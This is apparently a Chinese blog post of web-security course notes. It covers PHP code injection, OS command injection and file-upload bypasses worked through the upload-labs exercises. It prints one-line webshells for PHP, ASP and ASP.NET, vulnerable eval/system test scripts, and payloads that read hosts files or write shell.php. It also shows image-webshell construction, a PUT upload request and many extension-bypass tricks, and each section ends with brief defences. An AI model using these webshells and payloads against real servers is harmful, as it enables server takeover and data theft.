    XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。
【输入过滤】    "永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一-定要过滤,过滤,再过滤。
   @输入验证    简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。
               输入是否仅包含合法的字符
               输入字符串是否超过最大长度限制
               输入如果为数字,数字是否在指定的范围
               输入是否符合特殊的格式要求,如E-mail地址、IP地址等。
   @数据消毒    过滤和净化掉有害的输入。

【输出编码】     HTML编码主要是用对应的HTML实体代替字符。 
【黑白名单】     不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤。

十 代码与命令注入

10.1 RCE远程代码执行

10.1.1 php代码注入

[ 漏洞原理 ]
PHP代码执行(注入)(Web fa)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL注入漏洞SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个Web后门的存在。

[ 漏洞成因 ]
1.程序中含有可以执行PHP代码的函数或者语言结构。
2.传入第一点中的参数,客户端可控,直接修改或这影响。

[ 漏洞危害 ]
Web应用如果存在代码执行漏洞是一件非常可怕的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下。可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果服务器没有正确配置,Web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。本课程中以PHP为例子来说明 PHP 代码执行漏洞。

[相关函数和语句]

eval()函数
        eval() 会将字符串当作php代码执行。
        测试代码如下

//测试eval.php,输出phpinfo()的信息
<?php
$str="phpinfo();";
eval ($str);
?>

//测试eval.php,输出123456的md5值
<?php
$str="echo md5(123456);";
eval ($str);
?>

//测试eval.php,让变量可控
<?php
@$str=$_GET['code'];
eval ($str);
?>
url中进行调用:localhost/codei/eval.php?code=phpinfo()


//一句话木马
<?php
if(isset($_GET['code'])){
    @$str=$_GET['code'];
    eval ($str);
}
?>

//REQUEST为预定义超全局数组变量,也属于一句话木马
<?php
if(isset($_REQUEST['code'])){
    @$str=$_REQUEST['code'];
    eval ($str);
}
?>

提交变量[?code=phpinfo();]
我们提交一下参数也是可以的
[?code=${phpinfo()};]
[?code=1;phpinfo();]
[?code=1;phpinfo();print(123456);]


<?php if(isset($_GET['code'])){
    $code=$_GET['code']; 
    eval($code);
}else{
    echo "Please submit code!<br />?code=phpinfo();";
}
?>

提交变量[?code=phpinfo();]

assert函数
<?php 
if (isset($_ REQUEST['code'])){
    @$str=$_REQUEST['code']; 
    assert($str);
    }
?>
preg_replace() 函数
preg_replace()函数的作用是对字符串进行正则处理。
参数和返回值如下
mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject[,int limit = -1[, int &$count]])

这段代码的含义是搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处,即第一个参数存在e修饰符时,$replacement 的值会被当成PHP代码来执行。典型的代码如下
\\1,是匹配第一次的内容

<?php if(isset($_GET['code'])){
$code=$_GET['code'];
preg_replace("/\[(.*)\]/e",'\\1',$code)}else{
echo"?code= [phpinfo()]";}
?>
使用:?code=[phpinfo()]

//举个栗子
<?php
$str=preg_replace('/a/','b',"abcdefgjest");
echo $str;  //bbcdefgjest
?>
call_user__func()函数
call__user__func()等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
以call_user_func() 为例子,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试代码如下

<?php if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'l];
call_user_func($fun,$para);
}else{
echo"?fun=assert&amp;para=phpinfo()";
?>
提交参数[?fun=assert&para=phpinfo()]
动态函数$a($b)
由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过了不严格就会造成代码执行漏洞。测试代码如下。

<?php if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}else{
echo "?a=assert&amp;b=phpinfo()";
?>

[漏洞利用]
代码执行漏洞的利用方式有很多种,以下简单列出几种。
@直接获取Shell :提交参数[?code=@eval($_POST[1]);],即可构成一句话木马,密码为[1],可以使用菜刀连接。连接成功。
@获取当前文件的绝对路径
_FILE__是PHP 预定义常量,其含义当前文件的路径。提交代码[?code=print(FILE);]
@读文件
我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。提交代码
[?code=var_dump(file_get_contents(‘c:\windows\system32\drivers\etc\hosts’));]
读取服务器hosts文件。
@写文件
我们可以利用file_put_contents()函数,写入文件。前提是知道可写目录。
提交代码[?code=var_dump(file_put_contents($_POST[1],$_POST[2]));],此时需要借助于hackbar通过post方式提交参数 [1=shell.php&2=<?php phpinfo()?>].
即可在当前目录下创建一个文件shell.php。

【防御方法】
1.尽量不要使用eval等函数
2.如果使用的话一定要进行严格的过滤
3.preg_replace 放弃使用/e修饰符
4.disable_functions = assert

【实战:Seacmsv6.26命令执行】
漏洞点[?searchtype=5&tid=&area=phpinfo()]
此处想象空间非常大。

10.2 命令注入

【原理以及成因】
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一 些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些系统命令的函数,应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞
1.用户输入作为拼接
2.没有足够的过滤

【漏洞危害】
1.继承Web 服务器程序权限(web用户权限),去执行系统命令
2.继承Web服务器权限,读写文件
3.反弹Shell
4.控制整个网站
5.控制整个服务器

【相关函数】
system() :system()能够讲字符串作为0S命令执行,自带输出功能。测试代码如下
----system.php----

<?php
if($_GET['cmd']){
    $str=$_GET['cmd'];
    system($str);
    }
?>

<?php
if(isset($_GET['cmd'])){
    echo "<pre>"
    system($_GET['cmd']);
}else{
    echo "?cmd=ipconfig";
}
?>

exec()函数 :能将字符串作为0S命令执行,需要输出执行结果。测试代码如下,exec返回的结果是有限的。
----exec.php----

<meta charset= ="gb2312">
<?php 
if(isset($__GET['cmd'])){
    echo"<pre>";
    print exec($_GET['cmd']);
}else{
echo "?cmd=whoami";
}
?>


<?php 
if($__GET['cmd']){
    $str=$_GET['cmd'];
   exec($str);
}
?>

shell_exec() 测试代码如下
----shell_exec.php----

<?php if(isset($_GET['cmd'])){
    print shell_exec($__GET['cmd']);
}else{
    echo"?cmd= =whoami"}
?>

passthru() 测试代码如下
----passthru.php----

<?php if(isset($_GET['cmd'])){
    passthru($_GET['cmd']);
}else{
echo"?cmd=whoami";
}
?>

popen() 测试代码如下
popen() 也能够执行0S命令,但是该函数并回是返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。

<?php 
    if(isset($_GET['cmd'])){
       $cmd=$__GET['cmd'].">>1.txt";
       popen($cmd,'r');
}else{
    echo"?cmd= =whoami"}
?>

反引号

<?php 
if($__GET['cmd']){
    $str=$_GET['cmd'];
   print `$str`;
}
?>

【漏洞利用】
0S命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows系统下测试成功。

@查看系统文件
提交参数**[?cmd=type C:\windows\system32\drivers\etc\hosts]**,查看系统hosts文件。

@.显示当前路径
提交参数[?cmd=cd]

@写文件
提交参数[?cmd=echo"<?php phpinfo();?>" > D:\xampp\htdocs\Commandi\shell.php]
页面没有报错,说明文件写入成功。访问shell.php文件。

【防御方法】
1.尽量减少命令执行函数的使用,并在disable_functions中禁用
2.在进入命令执行的函数或方法之前,对参数进行过滤
3.参数的值尽量使用引号包衰,并在拼接前调用adds lashes进行转义

10.3 ACCESS数据库注入

链接1.
链接2.

十一 文件上传漏洞

10.1 文件上传漏洞

10.1.1 漏洞概述

文件上传是Web应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤Web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。

【漏洞成因】

  • 一方面服务器配置不当会导致任意文件上传;
  • Web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;
  • 程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。

【漏洞危害】
上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。如果web服务器所保存上传文件的可写目录具有执行权限,那么**就可以直接上传后门文件,导致网站沦陷。**如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。
通过上传漏洞获得的网站后门,就是WebShell。

【WebShell】
在计算机科学中,Shell 俗称壳(用来区别于“核"),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows系统给的cmd.exe或者linux下bash 等,虽然这些系统上的命令解释器不止一种。

WebShell是一个网站的后门,也是一个命令解释器,不过是以Web方式(HTTP 协议)通信(传递命令消息),继承了Web用户的权限。WebShell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp等,也就是说WebShell接收来自于Web用户的命令,然后再服务器端执行。

【大马】
WebShell也可以是大马,也是网站木马。有一类WebShell之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。
在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能,这是asp的大马。

【小马】
小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。
ASP:<%eval request(“cmd”)>
ASP.NET:<%@Page Language=“Jscript”&>
<%eval(Request.Item[“cmd”],“unsafe”);&>
PHP:<?php@eval($_REQUEST['cmd']);?>

JSP和jspx的一句话木马比较复杂一些,详细可以查看文件[1.jsp]和[1.jspx].
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php的一句话木马,密码就是[cmd]。
中国菜刀与一句话木马配合实现了三大基本功能,如下。

@文件管理
在中国菜刀页面继承Web用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe程序等。

本GetShell GetShell,顾名思义,就是获取Web的过程和结果。当然任意文件上传是GetShell的主要方式,但并不是唯一途径。

@文件上传漏洞利用的条件
1.Web服务器要开启文件上传功能,并且上传api(接口)对外"开放”(Web 用户可以访问);
2.Web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web目录部有执行权限。
3.要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是Web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。
4.无视以上条件的情况就是服务器配置不当,开启了PUT方法。

@防御、绕过、利用
文件上传的防御,文件上传的防御绕过还有利用,总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。所以,下文也是以这种方式讨论文件上传的问题。

@黑白名单策略
黑白名单是最常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果“客体"在黑名单中,一律“禁止”。如果“客体"在白名单中,一律“允许"。类似于手机号码的黑白名单。
如,Chrome测览器的黑白名单策略。

@政策
@说明
@URLBlacklist
- 禁止用户访问您已阻止的网址。不过,用户可以访问黑名单之外的所有网址。
- 不设置此政策:用户将可以自由访问所有网址。
@URLWhitelist
- 将此政策与URLBLacklist 政策搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问。
- 白名单的优先级高于黑名单。您至少要在黑名单中添加一个条目,才能正常使用此政策。
- 不设置此政策:网址黑名单将没有例外网址。

华为收集安装软件黑白名单策略
【白名单模式】——检查只能安装的软件。
- 只允许终端主机安装软件白名单中的软件,安装其他软件则属于违规行为。
- 对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装该软件,则属于违规行为。
I- 对于白名单中的软件,该软件不属于必须安装类软件,而终端主机未安装该软件,则不属于违规行为。

【白名单+黑名单模式】——检查必须安装的软件和禁止安装的软件。
- 如果终端主机未安装白名单中的任意一款软件,则属于违规行为。
- 如果终端主机已经安装黑名单中的任意一款软件,则属于违规行为。
- 如果终端主机已经安装白名单中的所有软件,并且没有安装黑名单中的任意一款软件,则不属于违规行为。

10.1.2 PUT方法上传文件

HTTP请求方法之–,允许想服务器直接写入文件。

1 【apache如何开启put方法】
测试apache是否开启了put方法:

telnet 172.16.132.161 80
OPTIONS / HTTP/1.1
HOST:172.16.132.161

(1)httpd.conf 文件中开启模块
在这里插入图片描述(2) (2)httpd.conf 启用模块
在这里插入图片描述(3) 开启文件锁 httpd.conf 第一行
DavLockDB C:\phpstudy\WWW\DavLock

(4)创建文件 DavLock

(5)查看是否开启,虽然这里没有开启put方法,但还是可以做的
在这里插入图片描述
(6) 发送请求报文

PUT /info. php HTTP/1.1
Host:172.16.132. 161
Content-Length: 18<? php phpinfo();?>

首先:telnet 172.16.132.161 80
然后粘贴报文并回车:
在这里插入图片描述

10.1.3 图片木马的制作

方法1 burpsuit

在这里插入图片描述

方法2:copy smile.jpg/b+info.php/a smile_info.jpg

方法3:利用十六进制编辑器——文件幻数

在这里插入图片描述
或者直接在notepad++中写
在这里插入图片描述

方法4:图片,属性,详细信息,版权(可以将代码写在版权中)

10.1.4 Apache解析漏洞

10.1.5 IIS6.0解析漏洞

10.1.6 PHP CGI解析漏洞

iis7.0/7.5

Ngix解析漏洞

①localhost/info.php100, php I

10.1.5 前端限制与绕过:upload-labs

有些Web应用的文件上传功能,仅在前端用JS脚本做了检测,如检测文件后缀名等。upload-labs 第一关,以下是经典的代码。

Pass 01 前端检测——JS脚本检测

前端JS脚本检测的安全防御是十分薄弱的。可以非常轻松的绕过。
具体可以参考:文件上传漏洞“JS本地验证”绕过https://www.fujieace.com/penetration-test/file-upload-js.html

方法一:因为JS脚本的运行环境是浏览器,我们可以修改J5代码,甚至删除表单事件
在这里插入图片描述
获取上传文件的地址:
在这里插入图片描述
在url中进行执行。

方法二:使恶意文件后缀名符合白名单策略,用Burp挂代理抓包,然后修改文件后缀名即可
抓包拦截的时候说明已经离开了前端。

Pass 02 服务器端检测——MIME验证绕过

【MIME 类型】
MIME(Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下

文件扩展名Mime–Type
. jsapplication/x-javascript
.htmltext/html
.jpgimage/jpeg
.pngimage/png
.pdfapplication/pdf

在HTTP协议中,使用Content-Type字段表示文件的MIME类型。当我们上传文件的时候,抓到HTTP数据包。在服务器端会检测Content-Type类型。

我这直接用Burpsuit抓包改为:Content-Type: image/jpeg

具体请参考:文件上传漏洞“MIME验证”绕过.
在这里插入图片描述

Pass 03 服务器端检测——后缀名

服务器端在检测文件名的时候,依然会采用黑白名单策略。黑名单策略,不允许上传phplasp|aspx ljsp…等可执行脚本的文件;白名单策略,只允许上传j pg lgif lpng |doc|rar.等格式的文件。

黑名单

代码中$deny_ext数据就是一个黑名单,数组元素就是不允许上传的类型。
对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。
可以执行脚本后缀名

.php.php2.php3.php5.phtml
.asp.aspx.ascx.ashx.asa
.cer I
.jsp.jspx
白名单

对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名。

00截断

00就是Null(空)字符,URL中表现为800,00截断会导致文件上传路径截断。
此关做了黑名单验证,不允许上传.asp、.aspx、.php、.jsp后缀文件,但是,可以上传其它任意后缀文件。我们可以通过上传 .php、.phtml、.phps、.php5、.pht等类似的格式来绕过。
我这里是用Burpsuit抓包修改 filename=“phpinfo.php5” 。filename=“phpinfo.php”
在这里插入图片描述
注意:

这样虽然我们上传成功了,但是 phpinfo.php5 却不能解析,要正常解析还需要满足以下条件任意一种:

1、Apache的 httpd.conf 中有如下配置代码:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
2、上传 .htaccess 伪静态文件,内容如下:
用伪静态需要保证:
①mod_rewrite模块开启;
②目录设置是AllowOverride All;

<FilesMatch "phpinfo.php5">
  SetHandler application/x-httpd-php
</FilesMatch>

Pass 04 .htaccess绕过

本pass禁止上传
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

虽然说禁止上传了很多的后缀文件,但是:没有过滤 .htaccess 等类似的文件,直接用 Pass-03上面的方法即可。

1、先上传一个 .htaccess 文件,内容如下:
SetHandler application/x-httpd-php
此伪静态规则的意思就是:所有文件都会解析为php;
2、再上传一个PHP木马文件,并改包,我直接改为 filename=“phpinfo.php999”,这就直接绕过。当然,也可以上传一个图马文件,都一样。

Pass 05 大小写绕过

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

跟上面差不多,也是黑名单,加上了禁止上传 .htaccess文件,但是,没有将后缀进行大小写统一,于是可以通过大小写绕过。

我直接改为 filename="phpinfo.PhP"

注意:在Linux没有特殊配置的情况下,这种情况只有windows可以,因为windows会忽略大小写。

filename="phpinfo.PhP
在这里插入图片描述

Pass 06 空格绕过

本pass禁止上传
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

Win下xx.jpg[空格]xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点。此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个.php空格文件即可。

我只需要修改为:filename="phpinfo.php "

filename="phpinfo.php "
在这里插入图片描述

Pass 07 点绕过

本pass禁止上传所有可以解析的后缀!

还是黑名单,但是没有对后缀名进行去”.”的处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过。

我只需要修改为:filename=“phpinfo.php.”

filename=“phpinfo.php.”
在这里插入图片描述

Pass 08 ::$DATA绕过

本pass禁止上传
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。

还是黑名单,但是没有对后缀名进行去”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过

我只需要修改为: filename="phpinfo.php::$DATA"

filename=“phpinfo.php::$DATA”
在这里插入图片描述

Pass 09:.空格.绕过

本pass只允许上传.jpg|.png|.gif后缀的文件!

move_upload_file的文件名直接为用户上传的文件名,我们可控。且会删除文件名末尾的点,因此我们可以结合Pass-7用 .php.空格. 绕过。

windows会忽略文件末尾的.和空格。我可以直接修改为: filename="phpinfo.php. ."

filename=“phpinfo.php. .”
在这里插入图片描述

Pass 10 双写绕过

本pass会从文件名中去除
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!

这里是将敏感后缀替换为空,双写.pphphp绕过即可!我直接改为: filename="info.pphphp"

filename=“info.pphphp”
在这里插入图片描述

Pass 11 00截断GET

本pass上传路径可控!
注意,此关要满足以下两个条件:
1、PHP 版本 < 5.3.4
2、php.ini 中 magic_quotes_gpc=off

看到是白名单判断,但是**$img_path直接拼接**,因此可以利用%00截断绕过。这次要改两个地方才能绕过,如下图:

可参考:文件上传漏洞“%00截断”绕过

在这里插入图片描述

Pass 12 00截断 POST

本pass上传路径可控!
这题跟上一题代码唯一的不同就是save_path 从 GET 变成了 POST,此时不能再直接使用 %00 截断,原因是 %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改 hex 值为 00 进行截断,也就是在post情况下,需要先对%00进行一个url编码。
1、BurpSuite 抓包修改如下图:
在这里插入图片描述2、将 %00 做一个 URL decode;
在这里插入图片描述

Pass 13 图片马绕过

本pass检查图标内容开头2个字节!

通过读文件的前2个字节判断文件类型,因此直接上传图片马即可!

1、Windows制作图片马方法,直接用cmd命令:

C:\Users\fujie>cd F:\phpStudy\WWW\upload-labs
C:\Users\fujie>f:
F:\phpStudy\WWW\upload-labs>copy fujieace.jpg /b + phpinfo.php /a phpinfowebshell.jpg

在这里插入图片描述
2、上传制作好的图片马;

注意:虽然这样能成功上传图片马,接下来要利用的话,还需要结合文件包含漏洞。

3、文件包含漏洞利用;
http://192.168.1.104/upload-labs/include.php?file=./upload/4520190821222156.jpg
文件包含漏洞利用这里,建议大家切换成PHP高版本,我用的是PHP5.6,否则会报很多Waring。

Pass 14 服务器端检测–getimagesize()检测文件内容

除了检测上传文件的Content-Type类型,为了保持安全性,服务器端还会检测文件内容。PHP中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前,该函数会判断目标文件是否是一-张图片。因此,可以用该函数来检测文件的内容。
在这里插入图片描述
需要制作图片木马:

Gif89a
<?php phpinfo();
?>

在这里插入图片描述
注意:虽然这样能成功上传图片马,接下来要利用的话,还需要结合文件包含漏洞

Pass 15 exif_imagetype()突破

本pass使用exif_imagetype()检查是否为图片文件!
跟 Pass-13一样,直接上传图片马即可绕过!

Pass-16 图片二次渲染绕过

本pass重新渲染了图片!

判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,由于jpg和png很麻烦,gif只需要找到渲染前后没有变化的位置,然后将php代码写进去就可以了

具体请查看:Upload-Labs第Pass-16通关(二次渲染绕过) 详解

Pass-17:条件竟争绕过

需要代码审计!

这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。

具体请查看:Upload-Labs第Pass-17通关(条件竟争绕过) 详解

Pass-18:条件竟争绕过

需要代码审计!

本关对文件后缀名做了白名单判断,然后会 一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功:

通过查看源代码,可以得到这个一个结果:

因为move在rename之前,move操作进行了一次文件保存,然后rename进行了一次更改文件名。因此我们可以通过条件竞争来上传图片马。

具体请看Pass-17吧!都差不多,原理都是一样的。

Pass-19:/.绕过 与 00截断绕过

本pass的取文件名通过$_POST来获取。
参考来源 https://www.fujieace.com/penetration-test/upload-labs-pass-01-20.html

Pass-20:数组 + /.绕过

Pass-20来源于CTF,请审计代码!

通过查看源码可以发现:$file_name经过reset($file) . '.' . $file[count($file) - 1];处理。

如果上传的是数组的话,会跳过$file = explode('.', strtolower($file));

并且后缀有白名单过滤:

$ext = end($file);
$allow_suffix = array('jpg','png','gif');

而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。

$file[0]为smi1e.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg

此时end($file)等于jpg$file[count($file) - 1]为空。

$file_name = reset($file) . '.' . $file[count($file) - 1];,也就是smi1e.php/.,最终move_uploaded_file会忽略掉/.,最终上传smi1e.php。
在这里插入图片描述

十二 文件包含漏洞

留言 连接数据库
查看留言 连接数据库
登录 连接数据库
注册 连接数据库
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。

几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP/ASP/ASP.net程序中比较少。本课程以PHP为例,说明文件包含漏洞。

1 PHP中的文件包含

1.1 语句

PHP中提供了四个文件包含的函数,四个函数之间略有区别。如下函数区别

函数功能
include()文件包含失败时,会产生警告,脚本会继续运行。
include_once()与include() 功能相同,文件只会被包含–次。
require()文件包含失败时,会产生错误,直接结束脚本执行。
require_once()与 require()功能相同,文件只会被包含一次。

十三 请求伪造漏洞

十四 业务逻辑漏洞

十五 服务器提权与隧道技术

十六 反序列化漏洞

  • 0
    点赞
  • 0
    评论
  • 5
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值